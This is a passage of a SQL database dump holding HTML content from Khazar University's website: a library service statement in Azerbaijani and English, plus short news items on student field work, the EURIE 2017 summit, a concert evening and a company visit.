Xidməti</p>\r\n  </td>\r\n  <td width=\"330\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Şəbəkədə olan müxtəlif elektron\r\n  mənbələrə girişi təmin etmək və istifadəyə nəzarət etmək</p>\r\n  </td>\r\n  <td width=\"262\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\">Təlim\r\n  proqramlarında iştirak etmək, təlimat və bildirişlərdən yararlanmaq</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"108\">\r\n  <p style=\"text-align: center;\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\">OPAC<br>\r\n  Onlayn Açıq Giriş Kataloqu</p>\r\n  </td>\r\n  <td width=\"330\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">İstifadəçilərinə OPAC-da informasiya\r\n  əldə etmək üçün yardım etmək:<br>\r\n  -Mənbələri müəllif, sərlövhə, mövzu, indeks, seriya, açar söz, buleva\r\n  operatorları AND, OR və BUT NOT istifadə etməklə axtarış aparmaq<br>\r\n  -Mövcud resursları yoxlamaq<br>\r\n  İstifadəçiləri OPAC-ın onlayn kömək funksiyası ilə təmin etmək<br>\r\n  -İstifadəçilərə biblioqrafik təsvirin yaradılmasına, kitab başlıqlarının\r\n  şəxsi səbətə yığılması və print olunmasına imkan yaratmaq;<br>\r\n  Tədris planını dəstəkləyən biblioqrafik təsvirlər kitabxana əməkdaşları və\r\n  müəllimlər tərəfindən tərtib edilir</p>\r\n  </td>\r\n  <td width=\"262\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\">OPAC-ın\r\n  istifadəsinə dair bələdçidən yararlanmaq və təşkil olunmuş seminar və\r\n  təqdimatlarda iştirak etmək </p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"108\">\r\n  <p style=\"text-align: center;\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\">Xəzər\r\n  Universiteti<br>\r\n  Elektron Arxiv DSpace</p>\r\n  </td>\r\n  <td width=\"330\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Xəzər Universitetinin tədqiqat\r\n  materiallarına girişi təmin edir<br>\r\n  Xəzər Universitetinin e-arxivi olan Dspace həm daxili, həm də xarici\r\n  mənbələrdən gələn materialları özündə əks etdirir ki, buraya daxildir:<br>\r\n  &nbsp; • Departamentlərin tədris materialları və şəxsi materiallar;<br>\r\n  &nbsp; •Müəllim və tədqiqatçıların məqalələri;<br>\r\n  &nbsp; •Tezis və dissertasiyalar;<br>\r\n  &nbsp; •Konfrans materialları (çap olunmamış).</p>\r\n  </td>\r\n  <td width=\"262\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\">Kitabxana\r\n  əməkdaşlarının təşkil etdikləri seminar və sessiyalarda iştirak etmək</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"108\">\r\n  <p style=\"text-align: center;\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\">eLearning</p>\r\n  </td>\r\n  <td width=\"330\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Bir tədris ili üçün kurs\r\n  materiallarına (PPT və PDF fayllar) pulsuz girişi təmin edir. Buraya tədris\r\n  planı və prezentasiyalar, tapşırıqlar və əlavə kurs materialları aiddir.</p>\r\n  </td>\r\n  <td width=\"262\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\">Kitabxana\r\n  əməkdaşlarının təşkil etdikləri seminar və sessiyalarda iştirak etmək.<br>\r\n  &nbsp;</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"108\">\r\n  <p style=\"text-align: center;\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\">Xüsusi\r\n  Elektron Xidmətlər<br>\r\n  (Kitab nəşrində ISBN)</p>\r\n  </td>\r\n  <td width=\"330\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Çap olunmuş kitabların milli\r\n  biblioqrafik məlumat bazasının yaradılması<br>\r\n  Fondun məlumat bazasının yaradılması<br>\r\n  İSBN nəşrlərinin məlumat bazasının idarə edilməsi</p>\r\n  </td>\r\n  <td width=\"262\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\">Biblioqrafik\r\n  axtarışlarda İSBN-dən istifadə etmək</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"108\">\r\n  <p style=\"text-align: center;\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\">Xüsusi\r\n  kolleksiya</p>\r\n  </td>\r\n  <td width=\"330\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Dünya Bankının, Asiya İnkişaf\r\n  Bankının,&nbsp;BMT-nin və s. xüsusi kolleksiyalarından istifadəni təmin etmək</p>\r\n  </td>\r\n  <td width=\"262\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\">Nadir\r\n  kolleksiyadan olan materiallar oxu zallarında istifadə olunur</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"108\">\r\n  <p style=\"text-align: center;\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\">Tədqiqat\r\n  Xidmətləri Isnad və Yazı / Üslub dərslikləri</p>\r\n  </td>\r\n  <td width=\"330\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Məqalə, kitab, veb-səhifə, audio\r\n  və video yazıların ümumi məlumat təsvir olunmasını təmin etmək<br>\r\n  İstifadə olunan mənbələrin ardıcıllığını göstərmək və sitat gətirərkən hansi\r\n  informasiyanın daxil edilməsini göstərən üslub dərslikləri ilə təmin etmək</p>\r\n  </td>\r\n  <td width=\"262\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\">Kitabxana\r\n  əməkdaşlarının təşkil etdikləri seminarlarda iştirak etmək</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"108\">\r\n  <p style=\"text-align: center;\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\">Əks\r\n  əlaqə</p>\r\n  </td>\r\n  <td width=\"330\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\">Xidmətlərdə\r\n  əks əlaqəni təmin etmək<br>\r\n  Bu xidmət Komitələr, Tələbə Şurası, anket sorğuları və s. vasitələrlə həyata\r\n  keçirilir</p>\r\n  </td>\r\n  <td width=\"262\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\">&nbsp;Mümkün\r\n  kanallardan istifadə edərək əks əlaqə xidmətindən yararlanmaq</p></td></tr></tbody></table>'),(5030,2930,'en','Service Statement','Service Statement','<p style=\"text-align: justify;\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"\"=\"\">In this document we\r\nhave set out what services LIC offers, and what users can expect to do. LIC\r\nstaff believe you will get the best value out of our services if you are aware\r\nof what you need to do when you make use of LIC, and what context the services\r\noperate. The document should be read in conjunction with other basic service\r\ninformation, including the&nbsp;<strong>Statement on Appropriate Use of Electronic\r\nResources, Access Policy, Circulation Policies, etc.&nbsp;</strong></p>\r\n<table cellpadding=\"0\" width=\"107%\" style=\"\" width:107.8%;border-width:1px;border-style:solid;padding:0in=\"\" 0in=\"\" 0in\"\"=\"\">\r\n <tbody><tr>\r\n  <td width=\"28%\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>LIC</strong></p>\r\n  </td>\r\n  <td width=\"39%\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>We\r\n  will</strong></p>\r\n  </td>\r\n  <td width=\"30%\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\"><strong>You are expected to</strong></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"28%\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Learning environment</p>\r\n  </td>\r\n  <td width=\"39%\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">&nbsp;</p>\r\n  </td>\r\n  <td width=\"30%\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">&nbsp;</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"28%\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\">Access</p>\r\n  </td>\r\n  <td width=\"39%\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Allow access to students/staff\r\n  able to produce a valid Khazar University ID card.</p>\r\n  </td>\r\n  <td width=\"30%\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Produce a valid Khazar University students/staff\r\n  ID card on request.</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"28%\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\">Equipment\r\n  and furniture</p>\r\n  </td>\r\n  <td width=\"39%\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Maintain furniture in safe and\r\n  serviceable condition.<br>\r\n  Check all computers on regular base.<br>\r\n  Inform users of any equipment failures.</p>\r\n  </td>\r\n  <td width=\"30%\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Treat furniture and equipment with\r\n  care.<br>\r\n  Recognize that you are responsible for any equipment borrowed and ensure that\r\n  it kept secure.</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"28%\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\">Health\r\n  and Safety</p>\r\n  </td>\r\n  <td width=\"39%\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Ensure a safe working environment\r\n  under the terms of existing Health and Safety legislation.<br>\r\n  Provide security staff at designated times.<br>\r\n  Ensure that fire exists are kept clear.<br>\r\n  Ensure that study areas are cleaned and tidied daily.</p>\r\n  </td>\r\n  <td width=\"30%\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Take responsibility for your own\r\n  health and safety refrain from any actions that may endanger the health and\r\n  safety of others.<br>\r\n  Refrain from eating and drinking anywhere within the LIC.<br>\r\n  Clear your study area when you leave. Return books or journals to the bag.</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"28%\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\">Study\r\n  areas</p>\r\n  </td>\r\n  <td width=\"39%\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Provide a variety of study areas\r\n  for different groups of students, for example group study, silent study, etc.</p>\r\n  </td>\r\n  <td width=\"30%\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Use various study areas\r\n  appropriately.<br>\r\n  Work without disturbing others.<br>\r\n  Switch off mobile phone before entering the LIC.</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"28%\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\">Reservations</p>\r\n  </td>\r\n  <td width=\"39%\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Provide a self-service book on\r\n  reserved on study courses.</p>\r\n  </td>\r\n  <td width=\"30%\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Use books on reserved only in the\r\n  Reading Halls.</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"28%\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\">Document\r\n  supply</p>\r\n  </td>\r\n  <td width=\"39%\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Provide an Inter Library Loans\r\n  Services for items not held in the University.<br>\r\n  Use ISBN for Inter Library Loan.</p>\r\n  </td>\r\n  <td width=\"30%\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Provide full and accurate\r\n  bibliographic details for requested items.</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"28%\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\">Help\r\n  Desks</p>\r\n  </td>\r\n  <td width=\"39%\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Assist users at issue\r\n  desks/helpdesks as quickly, efficiently as possible without rudeness or\r\n  aggression.</p>\r\n  </td>\r\n  <td width=\"30%\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Communicate with LIC staff\r\n  courteously and without rudeness or aggression.</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"28%\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\">Books</p>\r\n  </td>\r\n  <td width=\"39%\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Continue to develop and monitor\r\n  system to facilitate wider availability of books and other learning\r\n  materials.</p>\r\n  </td>\r\n  <td width=\"30%\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Understand that it is not possible\r\n  to purchase multiple copies of titles to satisfy the needs of every student.</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"28%\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\">Reference\r\n  materials</p>\r\n  </td>\r\n  <td width=\"39%\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Provide access to the Reference\r\n  materials, such as encyclopedias, atlases, dictionaries, etc.</p>\r\n  </td>\r\n  <td width=\"30%\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Use the reference books within the\r\n  Reference Are only.</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"28%\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\">Journals</p>\r\n  </td>\r\n  <td width=\"39%\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Stock titles appropriate to\r\n  subject taught at the Periodical Hall and monitor use<br>\r\n  Continue to develop and promote electronic access to journals.</p>\r\n  </td>\r\n  <td width=\"30%\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Use journals within the Periodical\r\n  Hall only.</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"28%\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\">CD-ROMs,\r\n  audio-visual collections</p>\r\n  </td>\r\n  <td width=\"39%\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Stock CD-ROMs, audio-visual\r\n  materials appropriate to the subject taught at the Periodicals Hall.</p>\r\n  </td>\r\n  <td width=\"30%\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Use these items according to the\r\n  loan policy.</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"28%\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\">Electronic\r\n  Information Service</p>\r\n  </td>\r\n  <td width=\"39%\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Provide access to a variety of\r\n  networked electronic sources and monitor use.</p>\r\n  </td>\r\n  <td width=\"30%\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Attend the induction sessions and\r\n  workshops offered and use the self-help guides and notices.</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"28%\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\">On-line\r\n  Public Access Catalogue (OPAC)</p>\r\n  </td>\r\n  <td width=\"39%\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Help users to explore our\r\n  collection information access advantages with OPAC:<br>\r\n  -Searches for resources by title, author, subject, call number, series,\r\n  keyword, category; Boolean terms AND, OR, and BUT, NOT.<br>\r\n  -Check availability of resources<br>\r\n  Provide users with online help in the OPAC<br>\r\n  -Enable users to create bibliographies easily by computing, saving and\r\n  printing titles into personalized bookbag; teachers and library staff can\r\n  create bibliographies that support curriculum.</p>\r\n  </td>\r\n  <td width=\"30%\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Attend the induction sessions\r\n  workshops offered and use OPAC guide.</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"28%\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\">Khazar&nbsp;University&nbsp;Institutional\r\n  Repository (KUIR)</p>\r\n  </td>\r\n  <td width=\"39%\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Provide access to research outputs\r\n  of Khazar Univerisy<br>\r\n  Material for populating DSpace in the context of KhazarUniversity&nbsp;\r\n  potentially comes from a variety of both internal and external sources,\r\n  including:<br>\r\n  • learning materials by teaching departments, and by individuals;<br>\r\n  • papers written by teaching and research staff;<br>\r\n  • theses and dissertations;<br>\r\n  • conference contributions (unpublished).</p>\r\n  </td>\r\n  <td width=\"30%\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Attend the induction sessions\r\n  workshops offered by LIC staff.</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"28%\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\">eLearning</p>\r\n  </td>\r\n  <td width=\"39%\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">&nbsp;Provide free online access\r\n  to course material (mostly ppt and pdf files) from one academic discipline\r\n  that includes course syllabus &amp; presentations, assignments, and\r\n  supplementary course material.</p>\r\n  </td>\r\n  <td width=\"30%\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Attend the workshops offered by\r\n  LIC staff.</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"28%\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\">Special\r\n  electronic services (ISBN in Books Print services)</p>\r\n  </td>\r\n  <td width=\"39%\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Build national bibliographic\r\n  database of all (registered) Books in print<br>\r\n  Build database of titles in stock<br>\r\n  Manage ISBN publication database.</p>\r\n  </td>\r\n  <td width=\"30%\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Use ISBN for bibliographic\r\n  searches.</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"28%\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\">Special\r\n  collections</p>\r\n  </td>\r\n  <td width=\"39%\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Provide a range of special\r\n  collections, such as World Bank, Asian Development Bank, etc.</p>\r\n  </td>\r\n  <td width=\"30%\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Use special collections within\r\n  Reference Hall only.</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"28%\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\">Research\r\n  Services<br>\r\n  <strong>&nbsp;</strong>Citing &amp; Writing/Style Manuals<br>\r\n  &nbsp;</p>\r\n  </td>\r\n  <td width=\"39%\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Provide basic descriptive\r\n  information about an article, book, web page, audio or video recording, or\r\n  other information source.<br>\r\n  Provide style manuals guide show you how to cite your sources consistently\r\n  and what information to include when citing</p>\r\n  </td>\r\n  <td width=\"30%\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Attend the workshops offered by\r\n  LIC staff.</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"28%\" style=\"\" width:28.76%;background:white;padding:0in=\"\" 0in=\"\" 0in\"\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\">Feedback</p>\r\n  </td>\r\n  <td width=\"39%\" style=\"\" width:39.78%;background:white;padding:0in=\"\" 0in=\"\" 0in\"\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">&nbsp;Enable users to provide\r\n  feedback on services. This may be through committees, for example Student’s\r\n  Board, questionnaires, focus groups or any other means.</p>\r\n  </td>\r\n  <td width=\"30%\" style=\"\" width:30.28%;background:white;padding:0in=\"\" 0in=\"\" 0in\"\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">&nbsp;Provide feedback on services\r\n  through the available channels</p>\r\n  </td>\r\n </tr>\r\n</tbody></table>'),(3401,1988,'en','Khazar University Students’ Field Work','On March 19 and 25, Society of Petroleum Engineering Khazar University Chapter organized a two-day public event for third and fourth-year students of Khazar University...','<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">On March 19 and 25, Society of Petroleum\r\nEngineering Khazar University Chapter organized a two-day public event for\r\nthird and fourth-year students of Khazar University under the leadership of\r\nAssociate Professor Gasham Zeynalov, head of the Department of Petroleum\r\nEngineering. Conducted by Gasham Zeynalov, the event was held in the Yasamal\r\nValley of the&nbsp;Absheron Peninsula. The main goal of the event was to help\r\nstudents cultivate geological research skills.&nbsp; During the event, the\r\nstudents made selective observations.&nbsp;</p>'),(3402,1993,'en','Khazar University at EURIE 2017 Eurasia Higher Education Summit in Turkey ','On March 22-24, 2017, representatives of Khazar University participated in Eurasia Higher Education Summit (EURIE) organized by the Eurasian Universities Association...','<p>On March 22-24, 2017, representatives of\r\nKhazar University participated in Eurasia Higher Education Summit (EURIE)\r\norganized by the Eurasian Universities Association (EURAS) in Istanbul, Turkey\r\nat Lütfi Kırdar International Convention Center (ICEC).</p>\r\n<p>EURIE\r\nis a meeting point for representatives of universities and higher education\r\nprofessionals. The annual summit features an exhibition and a conference that\r\nallows participants to expand their knowledge, networks and collaboration\r\nopportunities.</p>\r\n<p>Khazar University was represented by the\r\nFounder and the Chairman of its Board of Directors and Trustees, Prof. Hamlet\r\nIsakhanli, Director of Media and PR Office Mr. Alovsat Amirbayli, Director of\r\nInternational Affairs Office Ms. Turan Jafarova, and Khazar University graduate\r\nand master’s student of Istanbul Aydin University Narmin Nurulluyeva.</p>\r\n<p>Prof. Hamlet Isaxanli made two speeches\r\non “Education and Universities: Achievements and Challenges” at the event.</p>\r\n<p>EURIE 2017 Summit brought together\r\nleading universities from 53 countries, including Afghanistan, Azerbaijan,\r\nFrance, Germany, Greece, Italy, Iran, Kazakhstan, Macedonia, Portugal, Romania,\r\nSpain, Turkey, UK, USA, and others.</p>\r\n<p>The program of the EURIE 2017 Summit\r\nincluded panel sessions, roundtable discussions, seminars by prominent\r\nspeakers, thematic workshops as well as an education exhibition. The delegation\r\nfrom Khazar University participated in both the education exhibition and other\r\nsummit events.&nbsp;</p>'),(5117,2978,'en','Khazar University graduate gives an interview to a news portal','Banko.az news portal posted an interview with Barat Alizadeh, a graduate...','<p><strong><em>Banko.az</em></strong> news portal posted an interview with Barat Alizadeh, a graduate of Khazar University, the Faculty of Education, under the&nbsp;headline “A young businessman: “Now, like all successful people, I am a slave of my habits!” on February 19, 2018.</p><p>A link for a full interview:</p><p><a href=\"http://banco.az/az/news/genc-biznesmen-indi-ise-butun-boyuk-adamlar-kimi-verdislerimin-quluyam\">http://banco.az/az/news/genc-biznesmen-indi-ise-butun-boyuk-adamlar-kimi-verdislerimin-quluyam</a>.<br></p>'),(4087,2265,'en','    The evening with the composer Sevda Rahimova was conducted at Khazar University','On June 8, 2017, the evening dedicated to the composer and instructor of ‘Dunya’ School, Sevda Rahimova, was conducted at the “Dunya” concert hall, Khazar University...','<p>On June 8, 2017, the evening dedicated to the composer and instructor of ‘Dunya’ School, Sevda Rahimova, was conducted at the “Dunya” concert\r\nhall, Khazar University. Professor Hamlet Isaxanli, the founder of Khazar\r\nUniversity and Chairman of its Board of Directors and Trustees, the composer\r\nArif Malikov, well-known figures of culture and art, intellectuals participated\r\nin the event.\r\n</p>\r\n<p>The\r\nevent started with the film about “Gara Garayev Art School” which Sevda\r\nRahimova belongs to as well. The film was made by the Multimedia Centre of\r\n“Dunya” School. After watching the film, the concert program was launched with\r\nthe participation of Khazar University Chamber Orchestra ( Zulfiyya Sadigova, Associate\r\nProfessor, Art director and pianist- &nbsp;Head\r\nof the Department of Music and Fine Arts) and String Quartet ( Ayyub Aliyev, Honoured\r\nArtist; Elina Ismat, Anar Aliyev, Samir Asadov)</p>\r\n<p>&nbsp;</p>\r\n<p>Gulshan\r\nIbadova (soprano), the Laureate of International competitions, sang the\r\nromances - ‘For you” (Nabi Khazri), \"Winds\" (Khazar Suleymanli),\r\n\"Mountain flowers\" (Bakhtiyar Vahabzada), \"Do not be silent\"\r\n(Khazar Suleymanli) - accompanied by the composer, Nigar Suleymanova (fortepiano)\r\nperformed “Three preludes for the piano”,\r\nNargiz Aliyeva (flute) performed the&nbsp; “Play\r\nfor flute and chamber orchestra”, and Narmin Isgandarova (piano) played the 2nd\r\nand 3rd parts of the “Sonnet for the piano”. The &nbsp;composer’s plays – “Gentle waves” and “Ckerso” - &nbsp;for chamber orchestra were performed by the Chamber orchestra. </p>\r\n<p>&nbsp;</p>\r\n<p>At\r\nthe end of the concert, Ilham Nazarov and Gulshan Ibadova performed Sevda\r\nRahimova’s romance “One of us” which was composed for the lyrics written by\r\nHamlet Isakhanli. Academician &nbsp;Arif\r\nMalikov, &nbsp;National Artist of the USSR and\r\n&nbsp;Professor Hamlet Isakhanli, the founder\r\nof Khazar University and Chairman of its Board of Directors and Trustees talked\r\nabout Sevda Rahimova’s &nbsp;creative work and wished her\r\nsuccess. </p>\r\n<p>&nbsp;</p>\r\n<p>On June 16,\r\nthe detailed\r\ninformation related to the event was released on the Internet page of ‘Musavat’\r\nnewspaper.&nbsp; </p>\r\n<p>The news can be\r\nread in full via this link:</p>'),(3457,2031,'az','Alman şirkətinin nümayəndələri Xəzər Universitetində oldular','2017-ci il aprelin 5-də Almaniyanın “Rohde&Schwarz” şirkətinin səlahiyyətli nümayəndələri Xəzər Universitetində Elektronika və telekommunikasiya departamentinin...','<p>2017-ci il aprelin 5-də Almaniyanın “Rohde&amp;Schwarz”\r\nşirkətinin səlahiyyətli nümayəndələri Xəzər Universitetində Elektronika və telekommunikasiya\r\ndepartamentinin qonağı oldular. Nümayəndələr şirkətləri haqqında geniş məlumat\r\nverdikdən sonra elektronika ixtisaslı bir qrup tələbələrinin iştirakı ilə keçilən\r\nseminarda “Mobil rabitə şəbəkələrinin optimallaşması və testləşməsi üçün\r\navadanlıqlar” mövzusunda məruzə ilə çıxış etdilər. Məruzə şirkətin istehsal\r\netdiyi avadanlıqlar üzərində real şəraitə uyğun praktik olaraq təqdim edilirdi.</p><p>Gələcəkdə Elektronika və telekommunikasiya\r\ndepartamentində şirkət tərəfindən bu cür praktik məruzələrin davam etdirilməsi qərara\r\nalındı.</p>'),(5182,3009,'az','1 Mart – Ümumdünya Mülki Müdafiə Günü qeyd olundu','2018-ci il martın 1-də 1 Mart – Ümumdünya Mülki Müdafiə Gününə həsr edilmiş 